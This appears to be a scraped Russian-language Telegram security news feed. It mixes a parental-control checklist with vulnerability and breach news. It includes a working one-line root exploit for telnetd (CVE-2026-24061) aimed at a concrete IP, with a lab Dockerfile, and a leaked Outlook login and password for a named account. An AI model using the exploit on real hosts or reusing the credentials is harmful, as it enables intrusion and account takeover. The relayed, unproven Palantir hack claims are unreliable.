Ребёнок с телефоном/планшетом, а настройки «потом сделаю»?
Сохраните этот чек‑лист и пройдитесь по нему сегодня. 15 минут — и устройство станет заметно безопаснее.
————————
1. Устройство
1. Включите родительский контроль - Family Link (Android) или «Экранное время»/«Ограничения» (iOS).
2. Разрешите установку новых приложений только с вашего одобрения.
3. Подключите семейный DNS‑фильтр (например, семейный режим Яндекс DNS).
4. Задайте лимит времени на использование устройства. Границы лучше бесконечных «ещё пять минут».
5. Отключите лишние уведомления от приложений.
6. Заблокируйте встроенные покупки или поставьте отдельный пароль.
————————
2. Игры (Roblox и другие)
7. Включите PIN‑код аккаунта ребёнка.
8. Подключите двухфакторную аутентификацию (2FA).
9. Настройте чат: «выкл.» или «только друзья».
10. В друзьях оставьте только реальных знакомых.
11. Отключите тренды и рекомендации.
12. Составьте «разрешённый список» игр.
————————
3. Видео (YouTube и др.)
13. Для младших школьников — только YouTube Kids.
14. Включите ограниченный режим на роутере, а не только на устройстве.
15. Составьте «разрешённый список» каналов.
16. Регулярно просматривайте историю поиска и просмотров.
17. Отключите автопроигрывание следующего видео.
————————
Технологии — лишь часть защиты.
Вторая половина — ваши правила и разговор с ребёнком о том, что в интернете допустимо, а что нет.
————————
Сохраните этот чек‑лист и пройдитесь по нему сегодня. 15 минут — и устройство станет заметно безопаснее.
————————
1. Устройство
1. Включите родительский контроль - Family Link (Android) или «Экранное время»/«Ограничения» (iOS).
2. Разрешите установку новых приложений только с вашего одобрения.
3. Подключите семейный DNS‑фильтр (например, семейный режим Яндекс DNS).
4. Задайте лимит времени на использование устройства. Границы лучше бесконечных «ещё пять минут».
5. Отключите лишние уведомления от приложений.
6. Заблокируйте встроенные покупки или поставьте отдельный пароль.
————————
2. Игры (Roblox и другие)
7. Включите PIN‑код аккаунта ребёнка.
8. Подключите двухфакторную аутентификацию (2FA).
9. Настройте чат: «выкл.» или «только друзья».
10. В друзьях оставьте только реальных знакомых.
11. Отключите тренды и рекомендации.
12. Составьте «разрешённый список» игр.
————————
3. Видео (YouTube и др.)
13. Для младших школьников — только YouTube Kids.
14. Включите ограниченный режим на роутере, а не только на устройстве.
15. Составьте «разрешённый список» каналов.
16. Регулярно просматривайте историю поиска и просмотров.
17. Отключите автопроигрывание следующего видео.
————————
Технологии — лишь часть защиты.
Вторая половина — ваши правила и разговор с ребёнком о том, что в интернете допустимо, а что нет.
————————
👍13👎4
🚨 В популярной платформе автоматизации рабочих процессов n8n выявлена критическая уязвимость, позволяющая авторизованным пользователям с правами редактирования рабочих процессов выполнять команды операционной системы на хосте.
Уязвимость, зарегистрированная как CVE-2025-68668, имеет оценку CVSS 9,9.
Уязвимость, зарегистрированная как CVE-2025-68668, имеет оценку CVSS 9,9.
👍7
Forwarded from Femida
Сбой Logitech отрубил миллионы мышек
Вчера вечером у Logitech истек Apple Developer Certificate, компания просто забыла его продлить.
Из-за этого у всех пользователей MacOS отказалось работать приложение Options+, которое необходимо для настройки мыши.
Да, для последних моделях мышек Logitech сделали приложение обязательным, без него мышь просто не работает.
Патч для починки приложения появился буквально час назад, его нужно качать отдельно🌟
Вчера вечером у Logitech истек Apple Developer Certificate, компания просто забыла его продлить.
Из-за этого у всех пользователей MacOS отказалось работать приложение Options+, которое необходимо для настройки мыши.
Да, для последних моделях мышек Logitech сделали приложение обязательным, без него мышь просто не работает.
Патч для починки приложения появился буквально час назад, его нужно качать отдельно
Please open Telegram to view this post
VIEW IN TELEGRAM
2👍5❤1🤯1😱1
Forwarded from Cybred
Secrets Patterns Database
Пользователь с ником mazen160 собрал самую большую базу данных для поиска секретов. Она насчитывает более 1600 регулярок и позволяет находить API-ключи, токены, и пароли, которые часто остаются незамеченными.
Для сравнения, у одного из самых популярных сканеров секретов GitLeaks всего 60 правил. В комплекте идет скрипт, которые позволяет конвертировать правила для него и других тулов.
Пользователь с ником mazen160 собрал самую большую базу данных для поиска секретов. Она насчитывает более 1600 регулярок и позволяет находить API-ключи, токены, и пароли, которые часто остаются незамеченными.
Для сравнения, у одного из самых популярных сканеров секретов GitLeaks всего 60 правил. В комплекте идет скрипт, которые позволяет конвертировать правила для него и других тулов.
1❤5👍2
Forwarded from OWASP RU
В ближайшее время планируется запустить новый сайт консорциума OWASP (включая локальные отделения и проекты) и отказаться от использования площадки Meetup для подписки.
Stay tuned.
https://owasp.org/blog/2026/01/13/retiring-meetup.html
Stay tuned.
https://owasp.org/blog/2026/01/13/retiring-meetup.html
owasp.org
Announcing the Retirement of OWASP Meetup Platform | OWASP Foundation
Announcing the Retirement of OWASP Meetup Platform on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.
👍1
Forwarded from Cybred
Еще даже не успели присвоить CVE
В
Под ударом практически все дистрибутивы Linux, которые ставят
— Debian / Ubuntu / Kali / Trisquel и производные
— Многие embedded-системы, старые роутеры, IoT-устройства, промышленные контроллеры, где до сих пор жив telnet
Shodan сейчас находит 732,350 устройств по всему миру.
А чтобы эксплуатировать, достаточно одной команды:
В
telnetd начиная с версии 1.9.3 (май 2015 года) и вплоть до 2.7 (включительно) существует уязвимость, которая позволяет любому подключиться от имени root, без проверки пароля.Под ударом практически все дистрибутивы Linux, которые ставят
inetutils-telnetd из репозиториев:— Debian / Ubuntu / Kali / Trisquel и производные
— Многие embedded-системы, старые роутеры, IoT-устройства, промышленные контроллеры, где до сих пор жив telnet
Shodan сейчас находит 732,350 устройств по всему миру.
А чтобы эксплуатировать, достаточно одной команды:
$ USER="-f root" telnet -a IP PORT
😱3
Forwarded from вольтаж
взломать интернет бесплатно 2026
вот эта штука сверху, которой уже назначен CVE-2026-24061, дает подключиться по telnet сразу как root, без пароля.
что?🐱
Давным давно в 2015 году, почему-то в нашей мировой линии, telnet был неуязвим, но в нём не работал автологин если на машине нет Kerberos.
Суть автологина - автоматически передать юзернейм для логина. Как когда по ssh коннектишься не указав логин, машина автоматически коннектится с именем текущего юзера.
Без Kerberos, этот юзернейм попросту не детектился.
Поэтому разработчики обновили шаблон логина, добавив динамический аргумент %U, что как раз подставляет юзернейм.
Новый шаблон:
и вот тут происходит кабум бабах ракета взрыв🤯
1. В бинаре
2. По RFC 1572, подключаясь по telnet, ты можешь сдать переменные окружения, в том числе
3. содержимое
. . .
Теперь перечитай эксплойт
Да это же уязвимость наargument injection!
Повторим флоу атаки🃏
0. выставляем переменную
1. переменная
2.
3. сервер получает команду
4. бинарь
5. поздравляю,
Dockerfile для тестовой лабы
Если хочешь кишки кода и ветви логики, то читай этот подробный ресерч
USER="-f root" telnet -a 104.16.149.244 23
вот эта штука сверху, которой уже назначен CVE-2026-24061, дает подключиться по telnet сразу как root, без пароля.
что?
Давным давно в 2015 году, почему-то в нашей мировой линии, telnet был неуязвим, но в нём не работал автологин если на машине нет Kerberos.
Суть автологина - автоматически передать юзернейм для логина. Как когда по ssh коннектишься не указав логин, машина автоматически коннектится с именем текущего юзера.
Без Kerberos, этот юзернейм попросту не детектился.
Поэтому разработчики обновили шаблон логина, добавив динамический аргумент %U, что как раз подставляет юзернейм.
Новый шаблон:
/usr/bin/login " -p -h %h %?u{-f %u}{%U}"и вот тут происходит кабум бабах ракета взрыв
1. В бинаре
login есть флаг -f, нужный для "этот юзер уже был аутентифицирован где-то ещё, не надо его проверять снова"2. По RFC 1572, подключаясь по telnet, ты можешь сдать переменные окружения, в том числе
$USER с целевым логином3. содержимое
$USER переменной никак не санитизируется. . .
Теперь перечитай эксплойт
USER="-f root" telnet -a 104.16.149.244 23
Да это же уязвимость на
Повторим флоу атаки
0. выставляем переменную
$USER="-f root" и включаем автологин -a1. переменная
$USER не проверяется, но учитывается сервером2.
$USER подставляется в шаблон логина вместо {%U}3. сервер получает команду
/usr/bin/login -p -f root4. бинарь
login скипает аутентификацию из-за -f5. поздравляю,
ты root
———Dockerfile для тестовой лабы
FROM debian:11-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y --no-install-recommends \
inetutils-telnetd=2:2.0-1+deb11u2 \
telnet && \
rm -rf /var/lib/apt/lists/*
RUN useradd user1 && \
sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf
COPY docker-entrypoint.sh /docker-entrypoint.sh
EXPOSE 23
CMD ["/usr/sbin/inetutils-inetd", "-d"]
Если хочешь кишки кода и ветви логики, то читай этот подробный ресерч
Please open Telegram to view this post
VIEW IN TELEGRAM
😱4❤3🤯3👍1
Официальный механизм обновления Notepad++ был взломан для распространения вредоносного ПО среди отдельных пользователей.
Это произошло чуть более чем через месяц после того, как Notepad++ выпустил версию 8.8.9, в которой была устранена проблема, из-за которой трафик от WinGup, программы обновления Notepad++, «периодически» перенаправлялся на вредоносные домены, что приводило к загрузке зараженных исполняемых файлов.
В частности, проблема заключалась в том, как программа обновления проверяла целостность и подлинность загруженного файла обновления, что позволяло злоумышленнику, способному перехватывать сетевой трафик между клиентом обновления и сервером обновления, обманом заставить инструмент загрузить другой исполняемый файл.
Считается, что это перенаправление было целенаправленным: трафик, исходящий только от определенных пользователей, направлялся на мошеннические серверы и загружал вредоносные компоненты. Предполагается, что инцидент начался в июне 2025 года, более чем за шесть месяцев до того, как он стал известен.
«Атака включала в себя компрометацию инфраструктуры, которая позволила злоумышленникам перехватывать и перенаправлять трафик обновлений, предназначенный для notepad-plus-plus.org», — сказал разработчик Дон Хо . «Компрометация произошла на уровне хостинг-провайдера, а не через уязвимости в самом коде Notepad++».
Это произошло чуть более чем через месяц после того, как Notepad++ выпустил версию 8.8.9, в которой была устранена проблема, из-за которой трафик от WinGup, программы обновления Notepad++, «периодически» перенаправлялся на вредоносные домены, что приводило к загрузке зараженных исполняемых файлов.
В частности, проблема заключалась в том, как программа обновления проверяла целостность и подлинность загруженного файла обновления, что позволяло злоумышленнику, способному перехватывать сетевой трафик между клиентом обновления и сервером обновления, обманом заставить инструмент загрузить другой исполняемый файл.
Считается, что это перенаправление было целенаправленным: трафик, исходящий только от определенных пользователей, направлялся на мошеннические серверы и загружал вредоносные компоненты. Предполагается, что инцидент начался в июне 2025 года, более чем за шесть месяцев до того, как он стал известен.
🤯5😱3❤1
🤯5😱2👍1
Forwarded from SECURITM
«Что ждет Службы ИБ в 2026 году. Главные тренды и вызовы».
На вебинаре ответим на ключевые вопросы:
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1👍1
Forwarded from НеКасперский
Подписка посмертно
Джеффри очень хреново следил за безопасностью и реддиторы нашли его учётные данные в опубликованных файлах.
Официально покойный миллиардер стал спонсором лицензионного софта для тысяч людей, он подарил народу бесплатную подписку на Microsoft Office и облачное хранилище.
Логин
Кто-то поставил на аватарку фото растянутого Вэнса, а затем с этого адреса начали рассылать письма Биллу Гейтсу, Алексу Джонсу и Дональду Трампу. Параллельно предпринимались попытки через эту почту восстановить доступ к другим сервисам вроде Xbox, Spotify, Apple ID, Soulseek и Dropbox.
При этом миллиардер вообще не парился о сохранности своих данных, его Outlook-аккаунт даже не был защищён MFA.
Сейчас на аватарке красуется аниме-девочки, захвачен аккаунт какими-то российскими геймерами.
НеКасперский
Джеффри очень хреново следил за безопасностью и реддиторы нашли его учётные данные в опубликованных файлах.
Официально покойный миллиардер стал спонсором лицензионного софта для тысяч людей, он подарил народу бесплатную подписку на Microsoft Office и облачное хранилище.
Логин
lsje_llc@outlook.com принадлежит одной из подставных компаний Эпштейна, а пароль #1Island является отсылкой к его острову Little Saint James. Любопытные пользователи попробовали ввести найденные данные и авторизовались в почтовом ящике, после чего на аккаунте начал твориться полный хаос. Ранее похожий трюк сработал и от учётки его AppleID.Кто-то поставил на аватарку фото растянутого Вэнса, а затем с этого адреса начали рассылать письма Биллу Гейтсу, Алексу Джонсу и Дональду Трампу. Параллельно предпринимались попытки через эту почту восстановить доступ к другим сервисам вроде Xbox, Spotify, Apple ID, Soulseek и Dropbox.
При этом миллиардер вообще не парился о сохранности своих данных, его Outlook-аккаунт даже не был защищён MFA.
Сейчас на аватарке красуется аниме-девочки, захвачен аккаунт какими-то российскими геймерами.
НеКасперский
😱2
CVE-2026-20841
Windows Notepad App Remote Code Execution Vulnerability
Windows Notepad App Remote Code Execution Vulnerability
Почти тридцать лет notepad.exe считался эталоном «простой» утилиты, представлявшей собой незамысловатый буфер на базе Win32 для строк, который делал ровно одно... отображал текст. Рейтинг CVSS 8.8 для утилиты, предназначенной для просмотра данных, является фундаментальным нарушением принципа минимальных привилегий.
В какой-то момент им нужно перестать спрашивать: «Можно ли добавить эту функцию?» и начать спрашивать: «Нужен ли этому текстовому редактору стек рендеринга, учитывающий сетевые возможности?»
😱1
Forwarded from Femida
Хакеры сообщают о «взломе» Palantir
Журналист Ким «Дотком» заявляет, что Palantir был взломан на днях, и он является «доверенным лицом» для публикации материалов о взломе.
Со слов журналиста, компанию поломали через.. ИИ-агент. Кто решил повайбкодить внутри крупной военной спайверь-корпы - вопрос хороший.
Часть его заявлений:
Короче, информации много, правда абсолютно никаких доказательств журналист не предоставил, сказав лишь о том, что данные будут переданы России или Китаю. За что CTO Palantir его и упрекает.
Короче, посмотрим как события будут развиваться.👀
Журналист Ким «Дотком» заявляет, что Palantir был взломан на днях, и он является «доверенным лицом» для публикации материалов о взломе.
Со слов журналиста, компанию поломали через.. ИИ-агент. Кто решил повайбкодить внутри крупной военной спайверь-корпы - вопрос хороший.
Часть его заявлений:
У них есть тысячи часов расшифрованных и доступных для поиска разговоров Дональда Трампа, Джей Ди Вэнса и Илона Маска.
Они внедрили скрытые механизмы в устройства, автомобили и самолеты мировых лидеров и собрали крупнейший архив компрометирующих материалов.
Компания Palantir создает ядерное и биологическое оружие для Украины и тесно сотрудничает с ЦРУ для разгрома России. Они считают, что до победы остался год. Они планируют добиться этого, отвлекая Россию бессмысленными мирными переговорами.
Компания Palantir несёт ответственность за большинство смертей палестинцев в секторе Газа. Она разработала систему наведения искусственного интеллекта на Израиль.
Короче, информации много, правда абсолютно никаких доказательств журналист не предоставил, сказав лишь о том, что данные будут переданы России или Китаю. За что CTO Palantir его и упрекает.
Короче, посмотрим как события будут развиваться.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Банки, деньги, два офшора
Мужчина положил деньги через банкомат и чуть не сел на 7 лет в тюрьму. @bankrollo
👍9❤2